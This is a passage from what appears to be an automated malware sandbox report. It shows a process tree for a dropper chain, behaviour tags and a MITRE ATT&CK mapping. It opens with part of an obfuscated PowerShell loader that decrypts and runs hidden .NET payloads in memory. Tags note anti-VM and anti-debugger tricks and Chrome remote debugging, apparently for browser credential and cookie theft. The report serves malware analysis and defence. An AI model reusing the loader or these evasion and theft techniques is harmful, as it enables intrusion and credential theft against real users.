($modules -match 'hmpalert.dll') { exit; };function OcByW($zyHkO){$MahHK=[System.Security.Cryptography.Aes]::Create();$MahHK.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MahHK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MahHK.Key=[System.Convert]::($MoqZ[13])('AAMGkknb01QKxJVl43m9//ZRwVkG6pEiu9VVo6uyG5U=');$MahHK.IV=[System.Convert]::($MoqZ[13])('/W6oLxKJHKSzHfvUm38XsQ==');$RyLXH=$MahHK.($MoqZ[2])();$Vocox=$RyLXH.($MoqZ[12])($zyHkO,0,$zyHkO.Length);$RyLXH.Dispose();$MahHK.Dispose();$Vocox;}function dAZyU($zyHkO){$CHeOb=New-Object System.IO.MemoryStream(,$zyHkO);$PxKaw=New-Object System.IO.MemoryStream;$ikNUp=New-Object System.IO.Compression.GZipStream($CHeOb,[IO.Compression.CompressionMode]::($MoqZ[0]));$ikNUp.($MoqZ[5])($PxKaw);$ikNUp.Dispose();$CHeOb.Dispose();$PxKaw.Dispose();$PxKaw.ToArray();}$ygeKx=[System.IO.File]::($MoqZ[4])([Console]::Title);$WLLeN=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 5).Substring(2))));$PCQGF=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 6).Substring(2))));[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$PCQGF).($MoqZ[3]).($MoqZ[9])($null,$null);[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$WLLeN).($MoqZ[3]).($MoqZ[9])($null,$null); "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:888
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        8⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1932
      - C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3504
      - C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:780
      - C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3780
        
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        7⤵
        
        PID:4852
      - C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4544
      - C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:384
      - C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1148
      - C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:4688
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4688 -s 1592
        7⤵
        Program crash
        
        PID:3792
      - C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3672
        
        C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1136
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        
        PID:1204
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe318ecc40,0x7ffe318ecc4c,0x7ffe318ecc58
        9⤵
        
        PID:2800
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1812,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1808 /prefetch:2
        9⤵
        
        PID:1408
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2092,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2088 /prefetch:3
        9⤵
        
        PID:1904
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2180,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2364 /prefetch:8
        9⤵
        
        PID:3108
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3112,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3132 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:3264
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3136,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3272 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:4440
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4416,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4468 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:4816
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4644,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4628 /prefetch:8
        9⤵
        
        PID:2644
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4712,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4720 /prefetch:8
        9⤵
        
        PID:1132
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4376,i,3055987411389432106,1971133465920038223,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4868 /prefetch:8
        9⤵
        
        PID:1080
        
        C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
        7⤵
        Executes dropped EXE
        
        PID:428
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        
        PID:2448
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe318ecc40,0x7ffe318ecc4c,0x7ffe318ecc58
        9⤵
        
        PID:1556
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1836,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1832 /prefetch:2
        9⤵
        
        PID:864
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1692,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2124 /prefetch:3
        9⤵
        
        PID:892
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2196,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2372 /prefetch:8
        9⤵
        
        PID:3636
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3128,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3148 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:3916
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3172,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3200 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:3856
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4448,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4456 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:680
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3596,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4568 /prefetch:8
        9⤵
        
        PID:1632
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4576,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4716 /prefetch:8
        9⤵
        
        PID:712
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4580,i,4606861251652997996,6408993214925059519,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4860 /prefetch:8
        9⤵
        
        PID:4920
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3672 -s 996
        7⤵
        Program crash
        
        PID:4072
      - C:\Users\Admin\AppData\Local\Temp\1085139001\C3hYpvm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1085139001\C3hYpvm.exe"
        6⤵
        Executes dropped EXE
        
        PID:4668
      - C:\Users\Admin\AppData\Local\Temp\1086173001\oVpNTUm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1086173001\oVpNTUm.exe"
        6⤵
        
        PID:2904
      - C:\Users\Admin\AppData\Local\Temp\1086621001\3omTNLZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1086621001\3omTNLZ.exe"
        6⤵
        
        PID:3244
      - C:\Users\Admin\AppData\Local\Temp\1087058001\dzvh4HC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1087058001\dzvh4HC.exe"
        6⤵
        
        PID:2824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2808 -ip 2808
1⤵
PID:5096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4808 -ip 4808
1⤵
PID:2784

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3672 -ip 3672
1⤵
PID:3444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4688 -ip 4688
1⤵
PID:3512

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3708

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4832

C:\ProgramData\bmvgx\ghjs.exe
C:\ProgramData\bmvgx\ghjs.exe start2
1⤵
PID:2432

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
PID:4104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Modify Authentication Process

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Authentication Process

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion